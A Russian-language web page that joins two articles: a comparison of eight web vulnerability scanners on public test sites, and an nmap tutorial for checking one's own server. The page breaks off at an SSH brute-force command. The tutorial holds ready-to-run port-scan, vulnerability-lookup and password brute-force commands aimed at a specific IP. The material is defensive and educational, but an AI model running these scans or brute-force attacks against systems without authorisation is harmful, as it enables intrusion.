Как найти уязвимость в сервисе

Чем искать уязвимости веб-приложений: сравниваем восемь популярных сканеров

Время на прочтение
14 мин

Количество просмотров 84K

Сканеры веб-приложений — довольно популярная сегодня категория софта. Есть платные сканеры, есть бесплатные. У каждого из них свой набор параметров и уязвимостей, возможных для обнаружения. Некоторые ограничиваются только теми, что публикуются в OWASP Top Ten (Open Web Application Security Project), некоторые идут в своем black-box тестировании гораздо дальше.

В этом посте мы собрали восемь популярных сканеров, рассмотрели их подробнее и попробовали в деле. В качестве тренировочных мишеней выбрали независимые точки на двух платформах (.NET и php): premium.pgabank.com и php.testsparker.com.

OWASP ZAP

Как можно догадаться по названию, за выпуск OWASP ZAP отвечает та самая организация OWASP, что мы упомянули во вступлении. Это бесплатный инструмент для тестирования на проникновение и для поиска уязвимостей в веб-приложениях.

Основные возможности OWASP ZAP:

  • Man-in-the-middle Proxy
  • Traditional and AJAX spiders
  • Automated scanner
  • Passive scanner
  • Forced browsing
  • Fuzzer

Дополнительные фичи

  • Dynamic SSL certificates
  • Smartcard and Client Digital Certificates support
  • Web sockets support
  • Support for a wide range of scripting languages
  • Plug-n-Hack support
  • Authentication and session support
  • Powerful REST based API
  • Automatic updating option
  • Integrated and growing marketplace of add-ons

Интерфейс программы переведен на русский, что будет удобно для некоторых пользователей. Рабочая область OWASP ZAP складывается из нескольких окон. Внизу — вкладки с текущими заданиями и процесс их выполнения, слева — дерево сайтов, дополнительно можно вывести в правую часть окна запросов и ответов.

С помощью маркетплейса можно немного расширить функциональность сканера.

У каждого компонента программы есть много настраиваемых параметров. Например, мы можем настроить входящие векторы для активного сканирования, сгенерировать динамические SSL-сертификаты, добавить идентификаторы HTTP-сессий и т.д.

Перейдем к тестам. При сканировании сайта php.testsparker.com была найдена Blind SQL Injection. На этом критичные уязвимости заканчиваются.

Полные результаты OWASP ZAP на php.testsparker.com

H: Advanced SQL Injection — AND boolean-based blind — WHERE or HAVING clause
M: X-Frame-Options Header Not Set
L: X-Content-Type-Options Header Missing
L: Web browser xss protection is not enabled

На premium.bgabank.com мы видим более интересные результаты: найдена возможность Server Side Include (SSI) и Reflected Cross Site Scripting.

Полные результаты OWASP ZAP на premium.bgabank.com

H: Server Side Include
H: Reflected Cross Site Scripting
M: X-Frame-Options Header Not Set
M: Application Error Disclosure
M: Directory Browsing
M: Secure Pages Include Mixed Content (Including Scripts)
L: X-Content-Type-Options Header Missing
L: Web browser xss protection is not enabled
L: Cross-Domain JavaScript Source File Inclusion
L: Incomplete or No Cache-control and Pragma HTTP Header Set
L: Cookie No HttpOnly Flag
L: Cookie Without Secure Flag
L: Content-Type Header Missing
L: Private IP Disclosure
I: Image Exposes Location or Privacy Data

Все результаты сканирования можно экспортировать в отчет (поддерживается *.pdf, *.html, *.xml, *.json). В отчете подробно описываются уязвимости, найденные векторы, а также методы «закрытия» уязвимостей.

В целом работать с OWASP ZAP нам понравилось. Есть все необходимые инструменты для пентеста веб-приложения, простой и понятный интерфейс, быстрое сканирование в один клик. И при этом гибкие, глубокие настройки для более детального сканирования, что может послужить отправной точкой для дальнейшего ручного поиска уязвимостей. Ниже мы еще расскажем о сканере Burp Suite Pro, который имеет с OWASP ZAP много общего. По количеству и качеству найденных уязвимостей первый рассмотренный нами сканер показал очень неплохой результат. Рекомендован к использованию в работе.

W9scan

W9scan — это бесплатный консольный сканер уязвимостей сайта с более чем 1200 встроенными плагинами, которые могут определять отпечатки веб-страниц, портов, проводить анализ структуры веб-сайта, находить различные  популярные уязвимости, сканировать на SQL Injection, XSS и т. д.

Более полный список возможностей W9scan

— Fingerprint detection

  • Can identify common website CMS fingerprints ( 300+)
  • Recognizable common website frame
  • Identify common port service fingerprints
  • Detect website scripting language
  • Detect operating system type
  • Detection Website Firewall (WAF)

— Attack parameter

  • SQL injection (based on crawlers)
  • XSS injection (based on reptiles)
  • A large number of Fuzz parameter scans
  • CVE vulnerability
  • struts Vulnerability collection (including automatic detection)
  • Shellshock cgi test
  • heartbeat Bleeding heart
  • IIS parsing vulnerability
  • IIS Put vulnerability

— Violent cracking

  • Backup files and directories (based on crawlers)
  • Backup files and directories (based on domain name)
  • Common directory
  • Common file
  • Subdomain violence analysis
  • fckeditorPath enumeration
  • Common mdbdatabase enumeration
  • git svn Leak identification
  • TOMCAT web.xml Give way

— Сollect message

  • Emails (based on reptiles)
  • Private IP (based on reptiles)
  • E-mail (based on reptiles)
  • Detecting Warnings, Fatal Error,…
  • PHP version identification
  • IIS information disclosure
  • IP address attribution
  • Integrated Wappalyzer recognition script
  • robots.txt Analysis
  • Detecting unsafe headers in headers
  • Detecting unsafe factors in cookies

W9scan автоматически генерирует отчеты о результатах сканирования в формате HTML. Для запуска сканирования требуется только указать URL сайта и плагины, которые будут использоваться. Можно выбрать сразу все, дописав «all».

При сканировании php.testsparker.com W9scan нашел svn и возможные пути загрузки payload. Из менее критичного — определил версии используемых сервисов, возможные векторы проведения XXE, XXS-атак, нашел конфигурационные файлы сервера и провел поиск субдоменов.

На сайте premium.bgabank.com ничего критичного найдено не было. Но сканер определил возможные векторы проведения атак, определены версии сервисов, директории и субдомены.

По результатам сканирования W9scan автоматически генерирует файл отчета в формате HTML.

W9scan сканер подойдет для быстрого запуска в одну команду и мы рекомендуем использовать его как вспомогательный инструмент для определения версий сервисов, а также потенциальных векторов атак.

Wapiti

Ещё один неплохой консольный сканер. Так же, как и W9scan, готов к старту в одну команду, при этом имеет больше разных настроек сканирования.

Wapiti производит поиск следующих уязвимостей:

  • File disclosure (Local and remote include/require, fopen, readfile…)
  • Database Injection (PHP/JSP/ASP SQL Injections and XPath Injections)
  • XSS (Cross Site Scripting) injection (reflected and permanent)
  • Command Execution detection (eval(), system(), passtru()…)
  • CRLF Injection (HTTP Response Splitting, session fixation…)
  • XXE (XML External Entity) injection
  • SSRF (Server Side Request Forgery)
  • Use of know potentially dangerous files
  • Weak .htaccess configurations that can be bypassed
  • Presence of backup files giving sensitive information
  • Shellshock

В дополнение ко всему перечисленному имеется поддержка прокси (HTTP, HTTPs и SOCKS5), различных методов аутентификации (Basic, Digest, Kerberos, NTLM),  поддержка SSL-сертификатов, возможность добавления различных HTTP-заголовков или настроек user-agent.

При сканировании сайта php.testsparker.com были найдены уязвимости Blind SQL Injection, Cross Site Scripting, Commands execution. На premium.bgabank.com Wapiti в сравнении с другими сканерами показывает не такие выдающиеся результаты: был обнаружен только Cross Site Scripting.

По результатам работы сканера также формируется отчет в формате HTML, в котором содержатся категории и число найденных уязвимостей, их описание, запросы, команды для curl и советы о том, как закрыть найденные дыры в безопасности.

Как и следовало ожидать, Wapiti до уровня OWASP ZAP, конечно, не дотягивает. Но все же он отработал качественнее W9scan, хотя не был произведен поиск директорий, субдоменов и определение версий сервисов.

Arachni

Мощный бесплатный комбайн для теста защищенности веб-приложений  и поиска уязвимостей. Имеет графический интерфейс и огромную функциональность, о которой более подробно можно почитать на официальном сайте.

Активное тестирование:

  • SQL injection — Error based detection
  • Blind SQL injection using differential analysis
  • Blind SQL injection using timing attacks
  • NoSQL injection — Error based vulnerability detection
  • Blind NoSQL injection using differential analysis

Полный список функций для активного тестирования

  • CSRF detection
  • Code injection
  • Blind code injection using timing attacks
  • LDAP injection
  • Path traversal
  • File inclusion
  • Response splitting
  • OS command injection
  • Blind OS command injection using timing attacks
  • Remote file inclusion
  • Unvalidated redirects
  • Unvalidated DOM redirects
  • XPath injection
  • XSS
  • Path XSS
  • XSS in event attributes of HTML elements
  • XSS in HTML tags
  • XSS in script context
  • DOM XSS
  • DOM XSS script context
  • Source code disclosure
  • XML External Entity

Пассивное тестирование:

  • Allowed HTTP methods
  • Backup files
  • Backup directories
  • Common administration interfaces
  • Common directories
  • Common files

Полный список функций для пассивного тестирования

  • HTTP PUT
  • Insufficient Transport Layer Protection for password forms
  • WebDAV detection ( webdav).
  • HTTP TRACE detection
  • Credit Card number disclosure
  • CVS/SVN user disclosure
  • Private IP address disclosure
  • Common backdoors
  • .htaccess LIMIT misconfiguration
  • Interesting responses
  • HTML object grepper
  • E-mail address disclosure
  • US Social Security Number disclosure
  • Forceful directory listing
  • Mixed Resource/Scripting
  • Insecure cookies
  • HttpOnly cookies
  • Auto-complete for password form fields.
  • Origin Spoof Access Restriction Bypass
  • Form-based upload
  • localstart.asp
  • Cookie set for parent domain
  • Missing Strict-Transport-Security headers for HTTPS sites
  • Missing X-Frame-Options headers
  • Insecure CORS policy
  • Insecure cross-domain policy
  • Insecure cross-domain policy
  • Insecure client-access policy

Внушительно, не правда ли? Но и это не все. В «паутину» завернута ещё куча плагинов, например Passive Proxy, Dictionary attacker for HTTP Auth, Cookie collector, WAF Detector и др.

Сканер имеет приятный и лаконичный веб-интерфейс:

И вот что нашел Arachni на наших тестовых сайтах. Php.testsparker.com:

  • Cross-Site Scripting (XSS) in script context
  • Blind SQL Injection (differential analysis)
  • Code injection
  • Code injection (timing attack)
  • Operating system command injection (timing attack)
  • Operating system command injection

Остальные уязвимости на php.testsparker.com

H: File Inclusion
H: Cross-Site Scripting (XSS) in HTML tag
H: Cross-Site Scripting (XSS)
H: Path Traversal
M: Backup file
M: Common directory
M: HTTP TRACE
L: Missing ‘X-Frame-Options’ header
L: Password field with auto-complete
L: Insecure client-access policy
L: Insecure cross-domain policy (allow-access-from)
L: Common sensitive file

На premium.bgabank.com из критичного была обнаружена только возможность межсайтовой подделки запросов (CSRF).

Полные результаты Arachni на premium.bgabank.com

H: Cross-Site Request Forgery
M: Mixed Resource
M: HTTP TRACE
M: Common directory
M: Missing ‘Strict-Transport-Security’ header
L: Private IP address disclosure

Отдельно отметим, какие симпатичные отчеты выдает нам Arachni. Поддерживается немало форматов — HTML, XML, text, JSON, Marshal, YAML, AFR.

В общем, Arachni оставляет после работы только положительные впечатления. Наше мнение: это «маст хэв» в арсенале любого уважающего себя спеца.

Paros

Еще один сканер веб-уязвимостей с графическим интерфейсом. По умолчанию включен в дистрибутив Kali Linux и установлен там локально. Имеет встроенный прокси, через который добавляются сайты для анализа, встроенный веб-паук, способный анализировать сайт и строить карту запросов.

Для сканирования личного кабинета пользователя необходимо авторизоваться в браузере с включенным перенаправлением трафика через прокси Paros. Сканер будет использовать авторизованные куки в процессе сканирования. Отчет о работе можно экспортировать в HTML. Он сохраняется в файл root/paros/session/LatestScannedReport.htm и в дальнейшем перезаписывается. Если вы хотите сохранить результат предыдущего сканирования, то перед началом следующего сканирования необходимо создать копию имеющегося файла.

Основные возможности (с оглядкой на OWASP TOP 10 2017):

  • A1: Injection — SQLinjection, SQLinjection Fingerprint (места, где потенциально может быть SQLinj)
  • A6: Security Misconfiguration — Directory browsing, ISS default file, Tomcat source file disclosure, IBM WebSphere default files и некоторые другие стандартные или устаревшие файлы (Obsolete file), содержащие исходный код и прочее.
  • A7: XSS

Дополнительные возможности:

  • Поиск включенного автозаполнения для форм паролей. При этом если у поля input есть атрибут type=«password»,  получается ложное срабатывание.
  • CRLF injection
  • Secure page browser cache (кэширование страниц в браузере c важной информацией)
  • Возможность сканирования защищенной области пользователя (личный кабинет)
  • Возможность сканирования веб-приложений в локальной сети

В финальном отчете к каждому типу уязвимостей есть более подробная информация и некоторые рекомендации о способе устранения.

В нашем тестировании Paros показал довольно слабые результаты. На php.testsparker.com были найдены:

H: SQL injection
M: XSS
M: Устаревшие файлы с исходным кодом
M: Использование автозаполнения в формах с важной информацией (пароли и прочее).
L: Раскрытие внутренних IP
На premium.bgabank.com и того меньше:
M: Directory browsing
M: Использование автозаполнения в формах с важной информацией (пароли и прочее).

В итоге, хотя сканер Paros прост и достаточно удобен в использовании, слабые результаты сканирования заставляют отказаться от его использования.

Tenable.io

Платный многофункциональный облачный сканер, который умеет находить большое число веб-уязвимостей и почти полностью покрывает OWASP TOP 10 2017.

Сервис имеет встроенного веб-паука. Если в настройках сканирования указать данные авторизации (запрос авторизации, логин и пароль, авторизованные куки), то сканер проверит и личный кабинет (зону авторизованного пользователя).

Кроме сканирования веб-приложений, Tenable.io умеет сканировать сеть — как на предмет известных уязвимостей, так и для поиска хостов. Возможно подключение агентов для сканирования внутренней сети. Есть возможность экспортирования отчета в различные форматы: *.nessus, *.csv, *.db, *.pdf.


На скриншоте все домены «тестовые»


Дополнительные профили сканирования. В данной статье не затрагиваются

После сканирования становится доступна статистика и приоритизация найденных уязвимостей — critical, high, middle, low, information

В карточке уязвимости представлена дополнительная информация о ней и некоторые рекомендации по ее устранению.

Сканируем php.testsparker.com. Уязвимости с приоритетом high:

H: Уязвимости компонентов
— вышедшая из поддержки версия PHP
— вышедшая из поддержки версия Apache
H: Code injection
H: SQLinj
H: XSS
H: LFI
H: Path Traversal

Middle- и low-уязвимости

M: Раскрытие ценных данных — полный путь, бекапы
M: Раскрытие внутренних IP
M: Cookie без флага HTTPOnly
M: Отправка пароля по HTTP
L: Использование автозаполнения в формах с важной информацией
L: Ответ сервера на TRACE запросы
L: Не установлены header`ы Cache-Control, X-Content-Type-Options, X-Frame-Options, X-XSS-Protection

Теперь premium.bgabank.com. Уязвимости с приоритетом high:

H: Уязвимости компонентов

  • вышедшая из поддержки версия PHP
  • уязвимости Apache
  • уязвимости Bootstrap
  • уязвимости JQuery

Middle- и low-уязвимости

M: Web server phpinfo()
M: Совместное использование HTTP и HTTPS
M: Отсутствие перенаправления с HTTP на HTTPS
M: Directory browsing
M: Найдены backup файлы
M: Использование небезопасной версии протокола SSL
M: Истечение срока сертификата SSL/TLS
L: Раскрытие внутренних IP
L: Cookie без флага HTTPOnly
L: Ответ сервера на TRACE запросы
L: Не установлены header`ы Strict-Transport-Security, Cache-Control, X-Content-Type-Options, X-Frame-Options, X-XSS-Protection

Сканер Tenable.io показал себя хорошо, нашел множество уязвимостей. Работу с ним упрощает удобный графический интерфейс и представление данных. Еще один плюс — наличие дополнительных профилей сканирования, в которые мы пока решили не зарываться. Важной особенностью является облачная структура сервиса. С одной стороны, сервис не использует локальные вычислительные ресурсы рабочего компьютера. С другой — не сможет просканировать веб-приложения в локальной сети.

Burp Suite Pro

Burp Suite — это комплексное решение для проверок веб-приложений. Оно включает в себя разнообразные утилиты, позволяющие улучшить и ускорить поиск уязвимостей веб-приложений.

В составе Burp Suite есть следующие утилиты:

  • Proxy — прокси-сервер, который перехватывает трафик, проходящий по протоколу HTTP(S), в режиме man-in-the-middle. Находясь между браузером и целевым веб-приложением, эта утилита позволяет перехватывать, изучать и изменять трафик, идущий в обоих направлениях.
  • Spider — веб-паук, который в автоматическом режиме собирает информацию о содержимом и функционале приложения (веб-ресурса).
  • Scanner (только в Burp Suite Pro) — сканер для автоматического поиска уязвимостей в веб-приложениях.
  • Intruder — гибкая утилита, позволяющая в автоматическом режиме производить атаки различного вида. Например, перебор идентификаторов, сбор важной информации и прочее.
  • Repeater — инструмент для ручного изменения и повторной отсылки отдельных HTTP-запросов, а также для анализа ответов приложения.
  • Sequencer — утилита для анализа случайных данных приложения на возможность предсказания алгоритма их генерации.
  • Decoder — утилита для ручного или автоматического кодирования и декодирования данных приложения.
  • Comparer — инструмент для поиска визуальных различий между двумя вариациями данных.
  • Extender — инструмент для добавления расширений в Burp Suite

Утилита Scanner представлена в одноименной вкладке основного окна программы Burp Suite. Интерфейс англоязычный, но кого сейчас это может отпугнуть?

На вкладке Issue Definition представлен полный список всех уязвимостей, которые способен выявить данный сканер. Следует отметить, что список весьма внушительный.

Все уязвимости разделены на 3 категории: high, medium, low. Также есть категория information, к которой относятся механизмы сбора различной полезной информации о сканируемом ресурсе.
При запуске сканирования в окне Scan queue мы можем наблюдать за прогрессом по этапам. «Цветовая дифференциация штанов» присутствует.

На вкладке Options выполняется основная настройка параметров сканирования.

Для удобства опции разбиты по категориям. При необходимости можно получить справку по каждой категории прямо из окна настройки.

В целом Burp Suite Pro показал неплохой результат. При сканировании php.testsparker.com было найдено и классифицировано достаточно уязвимостей чтобы получить полный контроль над веб приложением и его данными — это и OS command injection, и SSTI, и File path traversal.

Полные результаты Burp Suite Pro на php.testsparker.com

H: OS command injection
H: File path traversal
H: Out-of-band resource load (HTTP)
H: Server-side template injection
H: Cross-site scripting (reflected)
H: Flash cross-domain policy
H: Silverlight cross-domain policy
H: Cleartext submission of password
H: External service interaction (DNS)
H: External service interaction (HTTP)

M: SSL certificate (not trusted or expired)
L: Password field with autocomplete enabled
L: Form action hijacking (reflected)
L: Unencrypted communications
L: Strict transport security not enforced

На сайте premium.bgabank.com были найдены:
H: Cross-site scripting (reflected)
M: SSL cookie without secure flag set
M: SSL certificate (not trusted or expired)

L: Cookie without HttpOnly flag set
L: Password field with autocomplete enabled
L: Strict transport security not enforced

Если для веб-пентеста вы часто используете Burp Suite, вам нравится его экосистема, но хотелось бы как-то автоматизировать процесс поиска уязвимостей, то эта утилита отлично впишется в ваш арсенал.

Acunetix

В заключение — еще один весьма неплохой коммерческий сканер. Его очень активно продвигают с помощью рекламы, но Acutenix не добился бы успеха без своей обширной функциональности. Среди доступных ему для обнаружения уязвимостей — все виды SQL injection, Cross site scripting, CRLF injection и прочие радости пентестера веб-приложений. Стоит отметить, что для качественного сканирования требуется выбрать правильный профиль.

Интерфейс дашборда приятный:

Все выявленные уязвимости по традиции раскладываются на четыре категории: High, Medium, Low. Ну и куда же без категории Information, в которую включаются все интересные, по мнению сканера, данные.

На вкладке Scans мы можем наблюдать прогресс сканирования и прочую диагностическую информацию.

После завершения сканирования на вкладке Vulnerabilities мы можем ознакомиться с тем, что и в каком количестве было найдено. Цветовая дифференциация на месте.

В тесте на php.testsparker.com сканер показал неплохой результат, а вот с premium.bgabank.com откровенно подкачал.

Полные результаты Acunetix

php.testsparker.com:
H: Apache 2.2.14 mod_isapi Dangling Pointer
H: Blind SQL Injection
H: Cross site scripting
H: Cross site scripting (verified)
H: Directory traversal
H: File inclusion
H: PHP code injection
H: Server-side template injection
H: SVN repository found
H: User controllable script source

M: Access database found
M: Apache 2.x version older than 2.2.9
M: Apache httpd remote denial of service
M: Apache httpOnly cookie disclosure
M: Application error message
M: Backup files
M: Directory listing
M: HTML form without CSRF protection
M: Insecure clientaccesspolicy.xml file
M: Partial user controllable script source
M: PHP hangs on parsing particular strings as floating point number
M: PHP preg_replace used on user input
M: Source code disclosure
M: User credentials are sent in clear text

L: Apache 2.x version older than 2.2.10
L: Apache mod_negotiation filename bruteforcing
L: Clickjacking: X-Frame-Options header missing
L: Login page password-guessing attack
L: Possible relative path overwrite
L: Possible sensitive directories
L: Possible sensitive files
L: TRACE method is enabled

premium.bgabank.com:

L: Clickjacking: X-Frame-Options header missing

Acunetix имеет большие возможности и подойдет, если вы ищете stand-alone решение. Веб-интерфейс прост и понятен, инфографика и отчеты выглядят вполне удобоваримо. Возможны осечки при сканировании, но, как говорил Тони Старк: «С мужиками такое случается. Не часто. Один разок из пяти».

Общие итоги

А теперь выводы по всем протестированным сканерам.

  • OWASP ZAP нам понравился. Рекомендуем к использованию.
  • W9scan мы рекомендуем использовать как вспомогательный инструмент для определения версий и сервисов, а также потенциальных векторов атак.
  • Wapiti до OWASP ZAP не дотягивает, но у нас отработал качественнее W9scan.
  • Arachni — это просто «маст-хэв».
  • Paros сканирует слабо, и мы его не рекомендуем.
  • Tenable.io хорош, находит множество уязвимостей. Но стоит учесть, что он облачный.
  • Burp Suite Pro мы советуем тем, кому нравится экосистема Burp Suite, но не хватает автоматизации.
  • Acunetix подойдет тем, кто ищет сканер как stand-alone приложение.

Пошагово расскажу как за полчаса комплексно проверить безопасность сайта даже если вы не программист. Статья будет полезна разработчикам, тестировщикам, а также владельцам сайтов.

Всем привет! Сейчас большинство статей в интернете по теме поиска уязвимостей на своем сайте делятся на два типа: это либо банальный список онлайн-сканеров без подробных инструкций как ими пользоваться, либо хардкорные мануалы для фанатов информационной безопасности и прочих хакеров, где без Линукса не разобраться.

Поэтому я решил написать статью, которой мне не хватало, когда я только начинал разбираться в этой теме. Надеюсь эта статья сделает интернет чуть-чуть безопаснее, а вам поможет найти даже те уязвимости, которые вы изначально не закладывали😃.

Статья пригодится:

  • Backend разработчикам: вы сможете быстро тестировать свои веб-приложения на наличие уязвимостей и тем самым повысить их надежность и безопасность данных ваших пользователей. (Если конечно исправите уязвимости, которые найдете )
  • Frontend разработчикам: пока npm собирает ваш фронтенд, вы как раз успеете проверить API вашего веб-приложения. А если повезет и вы сможете найти уязвимости, то вы не только поможете своей компании в будущем сохранить свою репутацию (а себе выбить премию), но и сможете целую неделю незлобно троллить ваших backend разработчиков и DevOps инженеров в общем чате.
  • Тестировщикам: освоите новые инструменты и сможете требовать законную прибавку к зарплате, а также немного считать себя хакерами.
  • Владельцам веб-сайтов и стартаперам без раунда: вы сможете самостоятельно базово проверить свой сайт без привлечения дорогостоящих экспертов, а также сможете лучше понимать технические особенности работы вашей бизнес-машины.

А нужно ли проверять?

Немного фактов и мнений:

Факт доказанный практикой и личным опытом: даже если у вас небольшой интернет-магазин, в 2020 вы уже будете подвергаться кибератакам по несколько раз в день.

С момента попадания в индекс GoogleYandex ваш сайт становится мишенью десятка (а если сайт крупный, то сотни) специализированных ботов, которые круглосуточно мониторят даже небольшие сайты и серверы для поиска уязвимостей и дальнейшего взлома.

У вас может быть грамотная архитектура, красивый дизайн, быстрая скорость загрузки, но всего лишь небольшая ошибка или невнимательность разработчика может серьезно навредить вашему бизнесу. Поэтому необходимо регулярно проверять свой сайт или веб-приложение на наличие уязвимостей.

Хорошая новость – сейчас можно самостоятельно просканировать свое веб-приложение различными бесплатными сканерами безопасности и найти уязвимые места заранее.

Внимание, использование подобных сканеров уязвимостей на чужих сайтах без разрешения владельцев является нарушением закона почти во всех странах.

Теперь я наглядно и пошагово покажу как с помощью таких инструментов самостоятельно проверить свой сайт, а также как разобраться в сгенерированных отчетах .

Что будем проверять:

  • Доступ к серверу и исходным кодам
  • Уязвимости веб-серверов (Apache или NGINX)
  • SQL инъекции
  • Межсайтовый скриптинг (XSS).
  • Устойчивость приложения и сервера к перебору паролей
  • Получение доступа к системным каталогам

Если вы пока еще не знаете, что означают все эти страшные слова и сокращения на английском, то не переживайте, по ходу статьи я обязательно объясню их значения.

В качестве подопытного сайта я написал и развернул небольшой самописный блог с возможностью оставлять комментарии к статьям и добавил в него весь джентльменский набор:

  • Многочисленные SQL инъекции
  • XSS уязвимости
  • Простой пароль для ssh доступа
  • Открытый ftp
  • Отсутствие защиты от перебора паролей
  • База данных, доступная из интернета с простым паролем
  • Слишком широкие права доступа к папкам и файлам

В общем все так, как делать не надо.

1. Проверяем сетевую инфраструктуру.

В кибератаках, также как и войне, все начинается с разведки, чтобы найти уязвимое место соперника. Для того, чтобы эффективно атаковать, злоумышленникам необходимо знать, какое ПО используется на сервере и какие двери открыты или закрыты недостаточно крепко. К несчастью владельцев сайтов, сейчас, чтобы все это узнать, нужно лишь здравое любопытство и утилита nmap.

Nmap – это набор инструментов для сканирования сетевой инфраструктуры веб-сервиса. Он может быть использован для проверки безопасности, для идентификации запущенных серверных приложений.

Nmap позволяет запускать готовые скрипты, которые значительно упрощают анализ вашего сервера. Минус – теперь даже смышленный школьник, вооружившись пачкой скриптов, может предоставлять опасность для серверов компании.

Интересный факт – сyществует целая галерея фильмов, где утилита nmap используется для кибератак. Часть представлено в галерее, под каждой картинкой описание. Более полный список и разбор можно посмотреть по ссылке

Посмотрели картинки, теперь можно и поработать! Приступаем к делу.

Устанавливаем nmap

В установке нет ничего сложного. Примеры установки покажу на примере Windows и Mac OS. В дистрибутивах Linux последняя версия nmap обычно установлена по умолчанию.

Установка на Windows 10

Перейдите по ссылке загрузки nmap и загрузите последнюю стабильную версию. На данный момент (16.09.2020) эта версия 7.80. Скачать ее можно по этой ссылке с официального сайта. Дальше запустите nmap-7.80-setup.exe от имени администратора. Программа установки по умолчанию предложит установить все компоненты, галочки можно не снимать. Описывать шаги далее подробно ( Примите лицензионное соглашение и тд) не буду, там все изи.

Запуск nmap на Windows

Запускать nmap можно как в режиме графического интерфейса, так и через командную строку.

Для запуска графической оболочки введите в строку поиска nmap и в результатах выберите nmap – Zenmap GUI

Для дальнейшей работы вы можете вводить нужные команды в поле “Команда”, а затем нажимать на кнопку Сканирование. Результаты сканирования в виде текстового отчета вы можете посмотреть в окне, которое я старательно подписал “Отчет”

Интерфейс Zenmap

Мне ближе использование nmap через командную строку aka консоль. Для запуска командной строки введите “cmd” в строку поиска на панели инструментов. Нажмите Enter и затем откроется командная строка. Дальше прямо в нее можно вводить nmap команды.

Командная строка в Windows 10 c введенной командой nmap выглядит вот так:

Mac OS X

Нажмите Command+Space и введите “Терминал”, после этого нажмите Enter. Дальше последнюю версию nmap можно установить через менеджер HomeBrew c помощью следующей команды, которую нужно ввести в терминале:

brew install nmap

Для запуска nmap просто начинайте команду с nmap, ничего сложного 🙂

nmap localhost

Устанавливаем скрипты

Также нам надо установить скрипт nmap_vulners, который будет проводить проверку на то, содержатся ли уязвимости в ПО, которое мы используем. Для его установки нужно скачать файлы скрипта и перенести файлы http-vulners-regex.nse и vulners.nse в C:Program Files (x86)Nmapscripts.

Если у вас Mac OS, то перенести файлы скрипта нужно в папку /usr/local/Cellar/nmap/<version>/share/nmap/scripts/

Начинаем проверку

Для начала запускаем сканирование своего сервера командой ниже, чтобы выяснить какие порты используются и для чего. Команда выглядит так (подставьте свой ip или домен). Команду нужно вводить в окне консоли, либо если вы используете Zenmap GUI, то в поле “Команда” (пример я привел выше):

nmap -sV -Pn -p- -T5 161.35.92.161

Параметр T5 отвечает за скорость анализа сервера. Скорость можно менять от T0 до T5, где T0 – очень медленная скорость анализа, а T5 – очень быстрая. Если вы не хотите сильно нагружать сервер, то используйте T2.

Параметр -p- означает, что мы будем проверять весь диапазон портов (‘это займет около 10 минут) . Его можно убрать и тогда скрипт просканирует не все порты, а только 1000 первых (самые распространенные).

Ответ будет выглядеть примерно так:

nmap -sV -Pn 161.35.92.161
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:03 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.085s latency).
Not shown: 965 filtered ports, 31 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.39 seconds

Из отчета мы видим, что nmap отобразил нам порты (под колонкой PORT), которые активны. В данном случае у нас используются:

  • Порт 21 занят под FTP
  • Порт 22 занят под SSH.
  • Порт 80 прослушивается сервером Apache.
  • Порт 3306 используется MySQL

Теперь запускаем наш скрипт, который проверит уязвимости в нашем ПО на сервере. Для этого запускаем следующую команду с указанием портов, которые мы будем проверять. Вам нужно будет заменить список портов на свои .

nmap -T5 -sV -Pn 161.35.92.161 –script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23

Пример отчета. Ссылки на описание уязвимости идут после строки vulners (пример такой строки со ссылкой в отчете: CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278)

Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-16 20:50 RTZ 2 (ceia)
Nmap scan report for 161.35.92.161
Host is up (0.094s latency).

PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.2p1:
|_ CVE-2014-9278 4.0 https://vulners.com/cve/CVE-2014-9278
23/tcp filtered telnet
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| vulners:
| cpe:/a:apache:http_server:2.4.41:
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927
| CVE-2020-9490 5.0 https://vulners.com/cve/CVE-2020-9490
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
| CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934
|_ CVE-2020-11993 4.3 https://vulners.com/cve/CVE-2020-11993
443/tcp closed https
3306/tcp open mysql MySQL 5.5.5-10.2.24-MariaDB
8080/tcp filtered http-proxy
8443/tcp filtered https-alt
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds

Как видите из отчета, скрипт проанализировал активное ПО нашего сервера и любезно предоставил ссылки с описанием каждой найденной уязвимости. Что согласитесь, очень удобно как для нас, так и для злоумышленников.

Также можно записать результат анализа в файл, который потом можно скинуть ответственному разработчику или системному администратору. Сам файл результатов будет находиться в каталоге, из которого вы запускаете скрипт. Пример такой команды ниже:

nmap -T5 -sV -Pn 161.35.92.161 –script=vulners.nse -p22,80,443,8080,8443,3306,20,21,23 > result.txt

Чтобы избавиться от подобных проблем обычно достаточно обновить используемое ПО до последних версий, где уязвимости старых версий, как правило, уже исправлены.

2. Проверяем устойчивость к перебору.

В нашем случае nmap определил, что на сервере есть ssh, ftp и mysql. Попробуем проверить насколько устойчивые пароли используются.

SSH

Вводим следующую команду (напомню, что вводить нужно либо в консоль, либо в поле “Команда” программы Zenmap GUI.

nmap –script ssh-brute -p22 161.35.92.161 –script-args userdb=users.lst,passdb=passwords.lst

